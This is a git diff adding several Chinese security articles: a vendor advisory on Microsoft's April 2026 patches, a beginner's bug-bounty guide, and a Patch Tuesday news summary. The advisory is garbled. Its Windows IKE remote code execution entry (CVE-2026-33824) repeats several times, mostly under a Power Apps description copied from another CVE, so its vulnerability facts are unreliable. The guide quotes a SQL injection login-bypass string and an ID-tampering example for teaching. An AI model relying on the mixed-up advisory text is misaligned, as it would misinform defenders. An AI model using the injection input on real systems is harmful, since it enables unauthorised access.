Filter Driver + +Windows Print Spooler Components + +Microsoft Dynamics 365 (on-premises) + +Windows Win32K - GRFX + +.NET, .NET Framework, Visual Studio + +Microsoft Edge (Chromium-based) + +Windows IKE Extension + +Microsoft Defender + +## 三、安全措施 +### 3.1 升级版本 + +目前 +微软已发布相关安全更新，建议受影响的用户尽快修复。 + +（一）Windows Update自动更新 + +Microsoft Update默认启用，当系统检测到可用更新时，将会自动下载更新并在下一次启动时安装。也可选择通过以下步骤手动进行更新： + +1、点击“开始菜单”或按Windows快捷键，点击进入“设置” + +2、选择“更新和安全”，进入“Windows更新”（Windows 8、Windows 8.1、Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入“Windows更新”，具体步骤为“控制面板”->“系统和安全”->“Windows更新”） + +3、选择“检查更新”，等待系统自动检查并下载可用更新。 + +4、更新完成后重启计算机，可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。对于没有成功安装的更新，可以点击该更新名称进入微软官方更新描述链接，点击最新的SSU名称并在新链接中点击“Microsoft 更新目录”，然后在新链接中选择适用于目标系统的补丁进行下载并安装。 + +（二）手动安装更新 + +Microsoft官方下载相应补丁进行更新。 + +202 +6 +年 +4 +月安全更新 +下载链接： + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr + +补丁下载示例（参考）： + +1. +打开上述下载链接，点击漏洞列表中要修复的CVE链接。 + +![](http://mmbiz.qpic.cn/mmbiz_png/5NPEia9QicL2tcofpMXpMAlzbMb2ZpXiayrVibXHOicOX1ibiaxgaQh1YnyRlsiaN6ZB7iccZGgeFyumNuXicfvD4uID5icrw/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +例1：微软漏洞列表（示例） + +2 +. +在微软公告页面底部左侧【产品】列选择相应的系统类型，点击右侧【下载】列打开补丁下载链接。 + +![](http://mmbiz.qpic.cn/mmbiz_png/5NPEia9QicL2vgmkMelP1xMqtnYOmLao8rJnjLsSxYD73V61kaCp1qrMibVaEmTNaE3VqC0uiaBLY36OA7gIEkLeQw/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +例 +2 +： +CVE-2022-21989 +补丁下载示例 + +3. +点击【安全更新】，打开补丁下载页面，下载相应补丁并进行安装。 + +![](http://mmbiz.qpic.cn/mmbiz_png/5NPEia9QicL2vgmkMelP1xMqtnYOmLao8raPQvNkWZLb6eh8DdGzmZMlgwKr6krficYGkYVwjzov07jKXo12TgQOg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +例 +3 +：补丁下载界面 + +4 +. +安装完成后重启计算机。 +### 3.2 临时措施 + +暂无。 +### 3.3 通用建议 +- 定期更新系统补丁 +， +减少 +系统漏洞， +提升 +服务器的安全性 +。 + +- 加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +- 使用企业级安全产品，提升企业 +的网络安全 +性能。 + +- 加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +- 启用强密码策略并设置为定期修改。 + +### 3.4 参考链接 + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr + diff --git a/doc/2026-04/【风险通告】微软4月安全更新补丁和多个高危漏洞风险提示.md b/doc/2026-04/【风险通告】微软4月安全更新补丁和多个高危漏洞风险提示.md new file mode 100644 index 00000000..61557b2e --- /dev/null +++ b/doc/2026-04/【风险通告】微软4月安全更新补丁和多个高危漏洞风险提示.md @@ -0,0 +1,94 @@ +# 【风险通告】微软4月安全更新补丁和多个高危漏洞风险提示 +安恒研究院 + 安恒研究院 安恒信息CERT 2026-04-15 09:29 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/JAzzLj4nXevmL5H6C1I6nWLYOHeic25ZZq3Sju5Xs1LnOckux8PBqG1qYrBly0Nicx4verjADnLorl5g1ImeuTeg/640?wx_fmt=jpeg&from=appmsg&wx_&wx_ "") + +**漏洞公告** + + + +微软官方发布了 +4月安全更新公告，包含了Windows Common Log File System Driver、Desktop Window Manager、Microsoft SharePoint Server、Windows Shell、Windows Active Directory等微软家族多个产品的安全更新补丁。请相关用户及时更新对应补丁修复漏洞。 + + +**01** + +**漏洞速览** + + +

1、本月存在1个在野0day漏洞，经研判，需要重点关注的0day漏洞如下:

· Microsoft SharePoint Server身份伪造漏洞（CVE-2026-32201）

2、本月披露漏洞中，需要重点关注的漏洞如下:

· Windows Common Log File System Driver特权提升漏洞（CVE-2026-32070）
· Desktop Window Manager特权提升漏洞（CVE-2026-32152）
· Desktop Window Manager特权提升漏洞（CVE-2026-32154）
· Microsoft SharePoint Server身份伪造漏洞（CVE-2026-32201）
· Windows Shell安全功能绕过漏洞（CVE-2026-32225）

· Windows Active Directory远程代码执行漏洞（CVE-2026-33826）

+ +

3、本月披露的严重漏洞如下:

· Microsoft Power Apps安全功能绕过漏洞（CVE-2026-26149）
· Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

+ + + + +**02** + +**漏洞详情** + +

9、Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

危害等级

严重

CVSS3.1评分

9.8

CVE编号

CVE-2026-33824

安恒CERT编号

DM-202604-003147

漏洞描述

Microsoft Power Apps 是一款低代码开发平台，允许用户快速构建业务应用并在组织内共享与使用。该平台中存在一项安全功能绕过漏洞，其根本原因在于对转义字符、元字符或控制序列处理不当，导致系统在展示安全提示时未能完整呈现关键信息。攻击者只需具备较低权限，即可创建或分享一个恶意的 Power Apps 画布应用，并在其中构造带有前导空白字符的外部协议链接。当用户打开或使用该应用时，系统弹出的安全警告对话框可能因信息被截断而显得不完整或具有误导性，从而使用户在不知情的情况下继续操作。一旦用户确认执行，该应用即可触发外部协议调用，在用户设备上执行非预期操作。更严重的是，该漏洞还可能导致权限边界被突破，使攻击者有机会访问或影响其他租户中的应用和数据，进而带来跨租户的数据泄露与安全风险。因此，该漏洞不仅削弱了用户安全感知能力，还可能对企业数据隔离与整体安全体系造成威胁。

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824

9、Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

危害等级

严重

CVSS3.1评分

9.8

CVE编号

CVE-2026-33824

安恒CERT编号

DM-202604-003147

漏洞描述

Microsoft Power Apps 是一款低代码开发平台，允许用户快速构建业务应用并在组织内共享与使用。该平台中存在一项安全功能绕过漏洞，其根本原因在于对转义字符、元字符或控制序列处理不当，导致系统在展示安全提示时未能完整呈现关键信息。攻击者只需具备较低权限，即可创建或分享一个恶意的 Power Apps 画布应用，并在其中构造带有前导空白字符的外部协议链接。当用户打开或使用该应用时，系统弹出的安全警告对话框可能因信息被截断而显得不完整或具有误导性，从而使用户在不知情的情况下继续操作。一旦用户确认执行，该应用即可触发外部协议调用，在用户设备上执行非预期操作。更严重的是，该漏洞还可能导致权限边界被突破，使攻击者有机会访问或影响其他租户中的应用和数据，进而带来跨租户的数据泄露与安全风险。因此，该漏洞不仅削弱了用户安全感知能力，还可能对企业数据隔离与整体安全体系造成威胁。

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824

9、Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

危害等级

严重

CVSS3.1评分

9.8

CVE编号

CVE-2026-33824

安恒CERT编号

DM-202604-003147

漏洞描述

Microsoft Power Apps 是一款低代码开发平台，允许用户快速构建业务应用并在组织内共享与使用。该平台中存在一项安全功能绕过漏洞，其根本原因在于对转义字符、元字符或控制序列处理不当，导致系统在展示安全提示时未能完整呈现关键信息。攻击者只需具备较低权限，即可创建或分享一个恶意的 Power Apps 画布应用，并在其中构造带有前导空白字符的外部协议链接。当用户打开或使用该应用时，系统弹出的安全警告对话框可能因信息被截断而显得不完整或具有误导性，从而使用户在不知情的情况下继续操作。一旦用户确认执行，该应用即可触发外部协议调用，在用户设备上执行非预期操作。更严重的是，该漏洞还可能导致权限边界被突破，使攻击者有机会访问或影响其他租户中的应用和数据，进而带来跨租户的数据泄露与安全风险。因此，该漏洞不仅削弱了用户安全感知能力，还可能对企业数据隔离与整体安全体系造成威胁。

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824

+ + +

1、Microsoft Power Apps安全功能绕过漏洞（CVE-2026-26149）

危害等级

严重

CVSS3.1评分

9.0

CVE编号

CVE-2026-26149

安恒CERT编号

DM-202602-001563

漏洞描述

Microsoft Power Apps 是一款低代码开发平台，允许用户快速构建业务应用并在组织内共享与使用。该平台中存在一项安全功能绕过漏洞，其根本原因在于对转义字符、元字符或控制序列处理不当，导致系统在展示安全提示时未能完整呈现关键信息。攻击者只需具备较低权限，即可创建或分享一个恶意的 Power Apps 画布应用，并在其中构造带有前导空白字符的外部协议链接。当用户打开或使用该应用时，系统弹出的安全警告对话框可能因信息被截断而显得不完整或具有误导性，从而使用户在不知情的情况下继续操作。一旦用户确认执行，该应用即可触发外部协议调用，在用户设备上执行非预期操作。更严重的是，该漏洞还可能导致权限边界被突破，使攻击者有机会访问或影响其他租户中的应用和数据，进而带来跨租户的数据泄露与安全风险。因此，该漏洞不仅削弱了用户安全感知能力，还可能对企业数据隔离与整体安全体系造成威胁。

所需权限（PR）

低

用户交互（UI）

需要用户交互

影响范围 (S)

改变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-26149

2、Desktop Window Manager特权提升漏洞（CVE-2026-32152）

漏洞类型

权限提升

CVSS3.1评分

7.8

CVE编号

CVE-2026-32152

安恒CERT编号

DM-202604-003086

CVSS向量

访问途径（AV）

本地

攻击复杂度（AC）

低

所需权限（PR）

低

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32152

+ +

3、Desktop Window Manager特权提升漏洞（CVE-2026-32154）

漏洞类型

权限提升

CVSS3.1评分

7.8

CVE编号

CVE-2026-32154

安恒CERT编号

DM-202604-003079

CVSS向量

访问途径（AV）

本地

攻击复杂度（AC）

低

所需权限（PR）

低

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32154

+ + + + + +

4、Windows Shell身份伪造漏洞（CVE-2026-32202）

漏洞类型

身份伪造

CVSS3.1评分

4.3

CVE编号

CVE-2026-32202

安恒CERT编号

DM-202604-003084

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

需要用户交互

影响范围 (S)

不变

机密性影响 (C)

低

完整性影响 (I)

无

可用性影响 (A)

无

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32202

5、Windows Active Directory远程代码执行漏洞（CVE-2026-33826）

漏洞类型

远程代码执行

CVSS3.1评分

8.0

CVE编号

CVE-2026-33826

安恒CERT编号

DM-202604-003149

CVSS向量

访问途径（AV）

相邻

攻击复杂度（AC）

低

所需权限（PR）

低

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33826

+ +

6、Windows Common Log File System Driver特权提升漏洞（CVE-2026-32070）

漏洞类型

权限提升

CVSS3.1评分

7.0

CVE编号

CVE-2026-32070

安恒CERT编号

DM-202604-003046

CVSS向量

访问途径（AV）

本地

攻击复杂度（AC）

高

所需权限（PR）

低

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32070

7、Microsoft SharePoint Server身份伪造漏洞（CVE-2026-32201）

漏洞类型

身份伪造

CVSS3.1评分

6.5

CVE编号

CVE-2026-32201

安恒CERT编号

DM-202604-003097

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

低

完整性影响 (I)

低

可用性影响 (A)

无

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32201

8、Windows Shell安全功能绕过漏洞（CVE-2026-32225）

漏洞类型

安全功能绕过

CVSS3.1评分

8.8

CVE编号

CVE-2026-32225

安恒CERT编号

DM-202604-003134

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32225

9、Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

危害等级

严重

CVSS3.1评分

9.8

CVE编号

CVE-2026-33824

安恒CERT编号

DM-202604-003147

漏洞描述

Windows 的 Internet Key Exchange（IKE）服务扩展是操作系统中用于支持 IPsec（网络层安全协议）的关键组件，主要负责在设备之间建立安全通信通道、协商加密密钥以及保障数据传输的机密性与完整性。该组件中存在一个由“double free”引发的远程代码执行漏洞。当系统启用了 IKEv2 功能时，攻击者无需身份验证即可通过网络向目标主机发送精心构造的数据包，触发该漏洞，从而在目标系统上执行任意代码。该漏洞的危害极大，一旦被成功利用，攻击者可能完全控制受影响设备，包括窃取敏感信息、安装恶意程序、篡改系统配置，甚至进一步在内网横向移动，扩大攻击范围，对企业网络和数据安全构成严重威胁。因此，及时更新补丁、限制不必要的 IKE 暴露以及加强网络访问控制，对于降低该漏洞带来的风险至关重要。

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824

+ + + + + + + + +**03** + +**修复方案** + +

9、Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）

危害等级

严重

CVSS3.1评分

9.8

CVE编号

CVE-2026-33824

安恒CERT编号

DM-202604-003147

漏洞描述

Microsoft Power Apps 是一款低代码开发平台，允许用户快速构建业务应用并在组织内共享与使用。该平台中存在一项安全功能绕过漏洞，其根本原因在于对转义字符、元字符或控制序列处理不当，导致系统在展示安全提示时未能完整呈现关键信息。攻击者只需具备较低权限，即可创建或分享一个恶意的 Power Apps 画布应用，并在其中构造带有前导空白字符的外部协议链接。当用户打开或使用该应用时，系统弹出的安全警告对话框可能因信息被截断而显得不完整或具有误导性，从而使用户在不知情的情况下继续操作。一旦用户确认执行，该应用即可触发外部协议调用，在用户设备上执行非预期操作。更严重的是，该漏洞还可能导致权限边界被突破，使攻击者有机会访问或影响其他租户中的应用和数据，进而带来跨租户的数据泄露与安全风险。因此，该漏洞不仅削弱了用户安全感知能力，还可能对企业数据隔离与整体安全体系造成威胁。

CVSS向量

访问途径（AV）

网络

攻击复杂度（AC）

低

所需权限（PR）

无

用户交互（UI）

不需要用户交互

影响范围 (S)

不变

机密性影响 (C)

高

完整性影响 (I)

高

可用性影响 (A)

高

参考链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824

+ +**官方修复方案：** + +目前微软针对支持的产品已发布升级补丁修复了上述漏洞，请用户参考官方通告及时下载更新补丁。 +补丁获取： +https://msrc.microsoft.com/update-guide/vulnerability +**Windows 更新：** + +自动更新：Microsoft Update默认启用，当系统检测到可用更新时，将会自动下载更新并在下一次启动时安装。 + +手动更新： + +1、点击"开始菜单"或按Windows快捷键，点击进入"设置"。 + +2、选择"更新和安全"，进入"Windows更新"（Windows 8、Windows 8.1、Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入"Windows更新"，具体步骤为"控制面板"->"系统和安全"->"Windows更新"）。 + +3、选择"检查更新"，等待系统将自动检查并下载可用更新。 + +4、重启计算机，安装更新系统重新启动后，可通过进入"Windows更新"->"查看更新历史记录"查看是否成功安装了更新。 + + +**04** + +**参考资料** + + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr + + +**05** + +**技术支持** + + +如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。 + + diff --git a/doc/2026-04/一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？.md b/doc/2026-04/一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？.md new file mode 100644 index 00000000..36a5fe35 --- /dev/null +++ b/doc/2026-04/一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？.md @@ -0,0 +1,179 @@ +# 一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？ + 沧海讲安全 2026-04-15 09:20 + +一个零基础小白，如何从啥都不会到挖到人生第一个漏洞？ + + +很多人觉得网络安全觉得要精通代码、数学才能入行。其实并不是！  + +新手挖漏洞，前期根本不需要写代码，只要路子野、工具熟，几分钟也能捡个漏。 + +因为，对于大多数普通人来说，漏洞挖掘更像是一场“找茬游戏”：你需要做的，就是把自己的所学所想，去找网站、系统开发者在逻辑上的疏忽（注意bug不是漏洞） + +哪怕你是文科生，哪怕你连Python 都没写过，只要肯花时间，按照正确的路径走，哪怕3个月就有可能挖到漏洞，拿到几百甚至上千元的赏金，很多师傅就是这么走来的，要知道以前初中学历的黑客大佬都一抓一大把。 + +如果你觉得不太可能，我把从0到1挖到第一个漏洞的实操路径拆解给你看。不讲晦涩的理论，只讲普通人能听懂、能上手的干货。 + + +第一「搞懂“系统”的构建」 + +核心任务：死磕 HTTP 协议 + 吃透 Top 10 漏洞原理 + +很多小白一上来就急着下载各种酷炫的黑客工具，结果连工具报错都看不懂，最后只能当个“脚本小子”。 + +记住：磨刀不误砍柴工。 + +在这个月，你只需要弄明白两件事： +- 浏览器和服务器是怎么“对话”的？ + +你要搞懂什么是请求（Request）、什么是响应（Response）、Cookie 是什么、数据包长什么样。这就好比你想进别人家偷东西（哦不，是检查安全），你得先知道门在哪、窗户怎么开、锁是什么结构。重点攻克 HTTP/HTTPS 协议。 + +- 常见的“破洞”长什么样？ + +不用学所有漏洞，先死磕 OWASP Top 10。比如： +- SQL 注入：就像你在登录框输入 ' or 1=1，骗过数据库让你免密登录。 + +- XSS 跨站脚本：就像你在留言板贴了一张带病毒的纸条，别人一看就中招。 + +- 越权访问：就像你改一下 URL 里的数字 user_id=1001 变成 user_id=1002，居然看到了别人的订单。 + +💡建议： + +别啃大部头书！去 B 站或 YouTube 找那种“手绘原理解析”的视频，看动画演示比看书快十倍。 + +第二「打造你的“兵器库”」 + +核心任务：熟练掌握 5 款核心工具 + +原理懂了，现在该给你配装备了。挖漏洞其实就是用这些工具打出一套漂亮的“连招”。你不需要会开发这些工具，但必须要把这些工具用出肌肉记忆。 + +新手必掌握的“五大神器”： + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/CsKJlMFPH9TwE2yBKpBOibibNKmyKfg1ejibJqG6lspm0iby8roBTxzJ5ntur27q0gRprKthzaOg11NOicXduDqq3oVBKP3hrBpWcmUSZrjFMLac/640?wx_fmt=jpeg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=3 "") +- Burp Suite（本命武器）：90% 的漏洞都是靠它抓包、改包、重放发现的。它是你和服务器对话的“翻译官”兼“拦截者”。 + +- Nmap（侦察兵）：用来扫描目标开了哪些端口，跑了什么服务，帮你摸清敌人的底细。 + +- SQLMap（自动化助手）：虽然提倡手工，但这个工具能帮你快速验证是否存在注入点，效率翻倍。 + +- 浏览器开发者工具（F12）：最容易被忽视的神器！很多逻辑漏洞、敏感信息泄露，点开 F12 看一眼源码或网络请求就发现了。 + +- Xray/AWVS（自动扫描器）：适合前期快速梳理资产，帮你发现一些低级的配置错误。 + +💡建议： + +在自己电脑上搭建本地环境（如 Docker 靶场），反复操作这些工具。直到你看到报错能下意识知道是哪一步出了问题，形成肌肉记忆。 + +第三「真刀真强赢首战」 + +核心任务：刷透靶场    ——尝试首个 SRC 漏洞 + +终于到了实战环节！但请再次牢记红线：新手严禁对未授权的真实系统进行测试，那是违法的！ +- Step 1：在合法靶场“练级” + +先去 Pikachu 和 DVWA 这两个经典靶场。 +- Pikachu：国产良心，中文界面，每个漏洞都有详细的原理和修复方案，非常适合小白建立信心。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CsKJlMFPH9QCf1qiaVTx38AywcoDicD9Rff4Pb4NtwTselleFia6nHeHpYd333ewXiaKthLsEvvJv7Nwdwrw6Aiclo1p6fdMDiczSFl0UM9kQAYUs/640?wx_fmt=jpeg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=4 "") +- DVWA：全球知名，分四个难度。从 Low 模式开始，把 Top 10 漏洞亲手复现一遍。 + +通关标准：当你能在靶场稳定发现并利用 3-5 种漏洞，且能清晰写出复现报告时，你就出师了。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CsKJlMFPH9R38o3PbQZIfPEDpZZ3ibW41ZTfXCKOibJpfPqTUUcZ5iahhdgLwiakeBBgVnkZiccCGVc6llwf2zgUYGPuKP5fQkjVyGseLiaGCvNGY/640?wx_fmt=jpeg&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=5 "") +- Step 2：小试牛刀，挖掘人生第一个漏洞 + +有了底气，就可以去 补天、漏洞盒子、各大厂 SRC 平台 注册账号，开启你的“寻宝之旅”。 +- 起步策略：别好高骛远去盯大厂的核心业务（那是神仙打架）。先从 教育行业（edu）SRC 或 公益众测项目 入手。 + +- 寻找目标：专注找信息泄露、弱口令、低危逻辑漏洞。这类漏洞门槛低，竞争相对小，最适合新手拿“首杀”。 + +- 预期管理：低危漏洞一个也有几十上百块赏金。要是运气好碰上个高危，几千甚至上万也不是梦！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/CsKJlMFPH9TFOAlYnlCCPqs3Qx6Vqah0hUnR5U5Ix7ibOoTYbic8DULq0mSUHibqRiabTfkxja6MutM5S6NicrFxKgLfjgicBtZJNOydy8pNF53fw/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=6 "") + + +第四「给普通人的几条真心话」 + +1、底线比技术更重要：我们学网安是为了维护安全，而不是破坏。永远只在授权范围内测试，红线千万别碰，前途和铁窗往往就是一念之差。 + +2、拒绝做“工具人”：只会跑软件的人永远成不了高手。遇到报错不要慌，去查日志、去分析流量，弄懂背后的逻辑才是成长的关键。 + +3、耐心是唯一的捷径：挖漏洞很枯燥，可能连续几天一无所获。我也经历过空手而归的焦虑，但只要坚持梳理资产、持续测试，爆发往往就在下一秒。 + +4、打破信息差：网上零散的教程太多，容易让人迷失。你需要一套系统化的学习路线，从理论到工具，再到实战，步步为营。 + +「最后」 + +如果你真的想学好一门本事，首先就要考虑自己对这门技术的兴趣，没有天赋还能靠时间和努力去弥补，但如果没有兴趣加持，就很难坚持到最后。 + +你要是正打算尝试网安或者想努力一次，我把这些年用过的视频教程和学习笔记都梳理出来了，现在都无偿分享给大家，需要的找我拿就行（文末自取）。 + +现在哪个行业都不好走，如果没有学历也没有天赋，那就只有努力和坚持了，请相信相信的力量，共勉！ + +**沧海专属黑客/网络攻防技术资料** + + + +@沧海讲安全： +在安全圈待了十多年，已经积累了很多的技术教程，在计算机这个行业，如果不会主动学习，手里没点学习资料，注定是走不远的。我整理的这些资料包含了市场上主流的攻防技术，不说让你成为黑客大佬，帮助你从0到进阶网络安全技术问题不大。 + + +**平台铭感，拿资料、学技术看⬇（无偿共享）** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCW28TYVbicW1icR88lb2fLYfLS6ib2Mfic96c3gX0VBFarDLjM2sjicYFE6SVtcyF5DHLPwyUgE4lyzDxA/640?wx_fmt=jpeg&from=appmsg "") + + + +**部分技术资料预览** + + +**01** + +**视频教程** + + +从0到进阶主流攻防技术视频教程（包含红蓝对抗、CTF、HW等技术点） + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCVGRW5LEnoxPqDicoM3g6KqcYaRKqWc1cxP8sBrX6KZasFTJEVibWmdyoGAuRO4AbzaVjUJ8guoWAzQ/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCVGRW5LEnoxPqDicoM3g6KqcCP8oaOCQm8Cp2qhpCxWiaOjzYrOoA1iac5eSafBicPxSQcpYtchyfVvxA/640?wx_fmt=jpeg&from=appmsg "") + + +**0****2** + +**书籍Pdf** + +入门必看攻防技术书籍pdf（书面上的技术书籍确实太多了，这些是我精选出来的） + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCVGRW5LEnoxPqDicoM3g6KqcUumOTUmUznuo7MzKl1JiaEQIeSh4ibkO6jxY68zVZz7iayrwGRtGu2bHw/640?wx_fmt=jpeg&from=appmsg "") + + +**0****3** + +安装包/源码 + + +主要攻防会涉及到的工具安装包和项目源码（防止你看到这连基础的工具都还没有） + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCVGRW5LEnoxPqDicoM3g6KqcvsT9h4B1hS9VEPengMcOtNL24949kb4cibKLS9HkIb1k2htW8GYqzMQ/640?wx_fmt=jpeg&from=appmsg "") + + +**0****4** + +**面试试题/经验** + + +网络安全岗位面试经验总结（谁学技术不是为了赚$呢，找个好的岗位很重要） + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCVGRW5LEnoxPqDicoM3g6Kqcm6J0eAql29R6DIM8bJW4rweVBicM8ibGMOmLNFTpdcQ0gFvefMTOg9dA/640?wx_fmt=jpeg&from=appmsg "") + + + +**平台铭感，拿资料、学技术看⬇（无偿共享）** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kWXbooRKsCW28TYVbicW1icR88lb2fLYfLS6ib2Mfic96c3gX0VBFarDLjM2sjicYFE6SVtcyF5DHLPwyUgE4lyzDxA/640?wx_fmt=jpeg&from=appmsg "") + + +@沧海讲安全： +只要你是真心想学黑客/网络安全技术，我这份资料就可以无偿共享给你学习，但是想学技术去乱搞的人别来找我，目前全球网络环境日益紧张，我国在这方面的相关人才比较紧缺，网络安全行业确实也需要更多的有志之士加入进来，我也真心希望帮助大家学好这门技术，如果日后有啥学习上的问题，欢迎找我交流。 + diff --git a/doc/2026-04/微软2026年4月补丁星期二 – 修复168个漏洞，包括正在被利用的0day.md b/doc/2026-04/微软2026年4月补丁星期二 – 修复168个漏洞，包括正在被利用的0day.md new file mode 100644 index 00000000..5230ff1e --- /dev/null +++ b/doc/2026-04/微软2026年4月补丁星期二 – 修复168个漏洞，包括正在被利用的0day.md @@ -0,0 +1,47 @@ +# 微软2026年4月补丁星期二 – 修复168个漏洞，包括正在被利用的0day + 网安百色 2026-04-15 10:43 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/WibvcdjxgJntDiaZSP90n9ziaka64cmr6qSvqmlZ5XibibViaw1wWAiajydEQsZNCQBtZYxicCYO09lAlnVY4GBwfHD0vqqeqKAqibnT95gVT6wGibHYk/640?wx_fmt=png&from=appmsg "") + +Microsoft发布了2026年4月补丁星期二安全更新，修复了其产品组合中的168个漏洞，其中包括一个正在被积极利用的零日漏洞和一个在公开披露后组织必须立即优先处理的漏洞。 + +**正在被积极利用的零日漏洞** + +本月发布中最关键的问题是CVE-2026-32201，这是一个Microsoft SharePoint Server欺骗漏洞，目前正在野外被积极利用。 + +该漏洞被评为"重要"级别，允许攻击者对SharePoint环境进行欺骗攻击，对依赖SharePoint进行文档管理和协作的企业构成重大风险。由于已确认存在利用行为，安全团队被敦促立即应用补丁。 + +此外，CVE-2026-33825（Microsoft Defender权限提升漏洞）在本轮补丁周期之前已被公开披露。虽然尚未报告有活跃利用行为，但关于此漏洞的信息公开可用性增加了即将被滥用的可能性，使其成为高优先级的修复目标。 + +本月修复的168个漏洞按攻击类型分布如下： +
影响类型数量
权限提升93
信息泄露21
远程代码执行20
安全功能绕过13
拒绝服务10
欺骗8
篡改2
深度防御1
总计168
